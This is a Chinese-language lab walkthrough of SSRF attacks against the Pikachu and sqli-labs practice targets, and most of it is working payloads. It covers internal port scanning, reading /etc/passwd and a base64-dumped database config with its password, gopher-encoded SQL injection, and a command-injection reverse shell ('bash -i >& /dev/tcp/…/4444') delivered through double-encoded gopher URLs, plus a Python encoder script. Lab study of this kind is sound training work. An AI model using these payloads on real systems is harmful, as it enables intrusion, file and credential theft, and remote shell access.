SSRF(Server-Side Request Forgery:服务器端请求伪造)通过篡改 HTTP 请求中的资源地址发送给服务器,服务器没有校验请求的合法性,服务器解析用户传递过来的请求,处理之后返回给用户。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)
例如:
问题产生在第二步,服务器会向第三方站点发送请求并获取资源文件,如果网站对资源文件的地址没有做合法性校验,则用户可以构造任意请求让服务器来执行。
环境介绍:
LAMP 环境
将压缩包传到 CentOS 下
解压
[root@localhost ~]# unzip pikachu-master.zip -d /var/www/html/
[root@localhost ~]# vim /var/www/html/pikachu-master/inc/config.inc.php
将11行的 DBPW 输入自己的数据库密码,如果用户名不是root 也需要修改,这样才能连接数据库
访问网址 http://192.168.10.128/pikachu-master/
初始化靶场
选择 SSRF 模块
该模块的 URL 地址为
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
我们分析 URL 地址ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
通过 URL 参数加载远程的资源信息,这里的诗句是由后面的 info1.php 输出的
修改 URL 地址我们来探测该网站的 22 端口
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.128:22
我们来探测 kali 主机的 22 端口
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.129:22
还能探测本机的MySQL 数据库服务
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.128:3306
小结
设置参数URL为内网地址时,则会泄露内网信息
读取本机的 passwd 文件
语法:file+文件路径
构造后的链接
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
读取PHP文件,读取 PHP 文件需要使用 php:// 但是在 curl_exex() 中不能读取 php 文件
file_get_content(不支持 https,支持http,支持 php://内置协议)
读取数据库配置文件
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=/var/www/html/pikachu-master/inc/config.inc.php
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用,这对于一体式(all-in-one)的文件函数非常有用,类似于readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器
convert.base64-encode/resource 转码为 base64格式,php 文件不能被直接读取,需要经过base64编码之后才能被解码
我们可以看到输入完成后会出现配置文件
我们解码
放到 Kali Linux 中进行解码
┌──(rootfengzilin55)-[~/桌面]
└─# echo PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJzEyMzQ1NicpOy8v5bCGcm9vdOS/ruaUueS4uui/nuaOpW15c3Fs55qE5a+G56CB77yM5aaC5p6c5pS55LqG6L+Y5piv6L+e5o6l5LiN5LiK77yM6K+35YWI5omL5Yqo6L+e5o6l5LiL5L2g55qE5pWw5o2u5bqT77yM56Gu5L+d5pWw5o2u5bqT5pyN5Yqh5rKh6Zeu6aKY5Zyo6K+077yBCmRlZmluZSgnREJOQU1FJywgJ3Bpa2FjaHUnKTsvL+iHquWumuS5ie+8jOW7uuiuruS4jeS/ruaUuQpkZWZpbmUoJ0RCUE9SVCcsICczMzA2Jyk7Ly/lsIYzMzA25L+u5pS55Li6bXlzcWznmoTov57mjqXnq6/lj6PvvIzpu5jorqR0Y3AzMzA2Cgo/Pgo= | base64 -d
在线解码 https://base64.us/
小结
设置参数 URL 为文件上传的路径时,则会泄露重要文件。
Gopher 在 HTTP 协议前是非常有名的信息查找系统,但是 WWW 万维网出现之后 Gopher 逐渐消失,但是在 SSRF 漏洞中 Gopher 协议让漏洞利用更加灵活,利用此协议可对 ftp,memcache ,MySQL,telnet,Redis,等服务进行攻击,可以构造发送 GET ,POST 请求包。
Gopher 协议语法格式:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流
演示语法:
┌──(rootfengzilin55)-[~/桌面]
└─# nc -lp 4444
┌──(rootfengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:4444/abcd
需要注意的是 abcd 的第一个字符被自动去除了,所以通常我们提交请求时第一个字符使用下划线_来表示
┌──(rootfengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:4444/_abcd
首先我们写一个简单的 GET 请求的页面
┌──(rootfengzilin55)-[~/桌面]
└─# vim /var/www/html/get.php
echo "Hello ".$_GET["name"]
?>
正常情况我们使用 http 协议发送 get 请求方法
┌──(rootfengzilin55)-[~/桌面]
└─# curl http://192.168.10.129/get.php?name=fzilinHello fzilin
构造 goher 协议的 GET 请求
浏览器访问
http://192.168.10.129/get.php?name=fzilin
burpsuite 获取 get 请求数据包
get 请求我们只需要前两行就可以了
GET /get.php?name=fzilin HTTP/1.1
Host: 192.168.10.129
进行URL编码可以使用 hackbar 进行编码
_GET%20/get.php%3Fname%3Dfzilin%20HTTP/1.1%0D%0AHost%3a%20192.168.10.129%0D%0A
/ 不要进行 URL 编码,换行符通过工具在进行 URL 编码是默认会编码成 %0A ,但是实际在 HTTP 请求中的换行符是%0D%0A,所以我们要手动替换,并在HTTP 请求结尾也需要添加
完整请求
┌──(rootfengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:80/_GET%20/get.php%3Fname%3Dfzilin%20HTTP/1.1%0D%0AHost%3a%20192.168.10.129%0D%0A
同样的我们写一个 POST 页面
┌──(rootfengzilin55)-[~/桌面]
└─# vim /var/www/html/post.php
echo "Hello ".$_POST["name"]
?>
测试页面
┌──(rootfengzilin55)-[~/桌面]
└─# curl http://192.168.10.129/post.php -d name=fzilin
构造 gopher 的 POST 请求
浏览器访问 http://192.168.10.129/post.php
burpsuite 截取的数据包
我们留下打钩的这几行,留下这五行
POST /post.php HTTP/1.1
Host: 192.168.10.129
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
name=fzilin
我们使用编写的 Python 脚本来进行URL 编码
脚本如下
┌──(rootfengzilin55)-[~/桌面]
└─# vim gopher_encode.py
import urllib.parse
req =\
"""POST /post.php HTTP/1.1
Host: 192.168.10.129
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
name=fzilin
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
注:第一行 POST 在""“后面插入,最后的”""新起一行,HTTP 请求最后需要一个换行。
将内容添加到这里,注意格式要读对称
使用Python3 运行脚本出现结果
┌──(rootfengzilin55)-[~/桌面]
└─# python3 gopher_encode.py
排错:
若出现以下提示错误,可能是req =\ 这个字符后面又空格导致的,请将所有字符后面的空格手动删除,即可
完整链接
┌──(rootfengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:80/_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.129%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2011%0D%0A%0D%0Aname%3Dfzilin%0D%0A
环境介绍:
首先我们正常构造一个sql 注入的请求(sqli-labs 靶场 1-15章)
http://192.168.10.128/sqli-labs/Less-1/?id=-1 union select 1,user(),database() --+
pikachu-SSRF(curl)环境
我们测试,首先直接访问报错
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.128/sqli-labs/Less-1/?id=-1 union select 1,user(),database() --+
原因是后面sql 注入语句的特殊字符导致的,所以需要进行 URL 编码
选择 URL encode 编码 编码了空格以及 +
再次编码需要两次编码 编码了%为%25
问题:
为什么要2次编码?
GET 类型
GET 类型可以直接访问使用 HTTP 协议进行利用是最便捷的,因为修改为 gopher 协议则需要构造一个 gopher 协议的请求。
浏览器访问http://192.168.10.128/sqli-labs/Less-1/?id=-1’union select 1,user(),database() --+
使用 burpsuite 获取 get 请求
获取头部
GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20-- + HTTP/1.1
Host: 192.168.10.128
修改 Python 脚本
┌──(rootfengzilin55)-[~/桌面]
└─# vim gopher_encode.py
import urllib.parse
req =\
"""GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20--+ HTTP/1.1
Host: 192.168.10.128
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
┌──(rootfengzilin55)-[~/桌面]
└─# python3 gopher_encode.py
完整 payload
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.128:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29%2520--%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0A
二次编码
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.10.128%3A80%2F_GET%2520%2Fsqli-labs%2FLess-1%2F%253Fid%253D-1%252527union%252520select%2525201%252Cuser%2528%2529%252Cdatabase%2528%2529%252520--%252B%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.10.128%250D%250A
成功注入
POST注入关卡:http://192.168.10.128/sqli-labs/Less-11/
burpsuite 进行 SQL 注入并构造 POST 请求
uname=0admin'union select user(),database() --+
获取 五行内容
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
uname=0admin'union select user(),database() --+&passwd=&submit=Submit
使用Python脚本
import urllib.parse
req =\
"""POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
uname=0admin'union select user(),database() --+&passwd=&submit=Submit
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
执行结果
_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2069%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3D%26submit%3DSubmit%0D%0A
curl 命令测试
┌──(rootfengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.128:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2069%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3D%26submit%3DSubmit%0D%0A
构造完整请求
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.128:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2069%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3D%26submit%3DSubmit%0D%0A
在线 URL 编码 http://www.jsons.cn/urlencode/
二次编码后
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.10.128%3A80%2F_POST%2520%2Fsqli-labs%2FLess-11%2F%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.10.128%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252069%250D%250A%250D%250Auname%253D0admin%2527union%2520select%2520user%2528%2529%252Cdatabase%2528%2529%2520--%252B%2526passwd%253D%2526submit%253DSubmit%250D%250A
环境介绍:
192.168.10.128 为 pikachu 环境
192.168.10.129 为 Kali Linux 环境
nc 创建侦听(kali)
┌──(rootfengzilin55)-[~/桌面]
└─# nc -lvp 4444
burpsuite 开始监听
通过命令注入进行反弹 shell
127.0.0.1;bash -i >& /dev/tcp/192.168.10.129/4444 0>&1
burpsuite 获取到 POST 请求
获取 5行进行编码
POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.10.129%2F4444+0%3E%261&submit=ping
修改 Python 脚本
import urllib.parse
req =\
"""POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.10.129%2F4444+0%3E%261&submit=ping
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
┌──(rootfengzilin55)-[~/桌面]
└─# python3 gopher_encode.py
_POST%20/pikachu-master/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2094%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.10.129%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A
完整的 gopher 请求
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.128:80/_POST%20/pikachu-master/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2094%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.10.129%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A
二次编码
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.10.128%3A80%2F_POST%2520%2Fpikachu-master%2Fvul%2Frce%2Frce_ping.php%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.10.128%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252094%250D%250A%250D%250Aipaddress%253D127.0.0.1%25253Bbash%252B-i%252B%25253E%252526%252B%25252Fdev%25252Ftcp%25252F192.168.10.129%25252F4444%252B0%25253E%2525261%2526submit%253Dping%250D%250A
返回 kali Linux 查看状态
使用 burp collaborator 客户端(client)进行检测
点击拷贝这个网址 获取到一个地址 s3wv52tsllrrcodmq0xnvg7svj1bp0.burpcollaborator.net
访问 http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php 这个地址抓取数据包,然后发送到中继器
替换url后面的地址,将上面复制的地址替换上去
返回burpsuite 点击poll now 现在轮询,即可查看到结果
只要有 DNS 解析记录则表示目标服务器向该网址发起请求。即存在 SSRF 漏洞。
在线检测平台:http://www.dnslog.cn/ 使用方法与 Burp Collaborator 客户端一致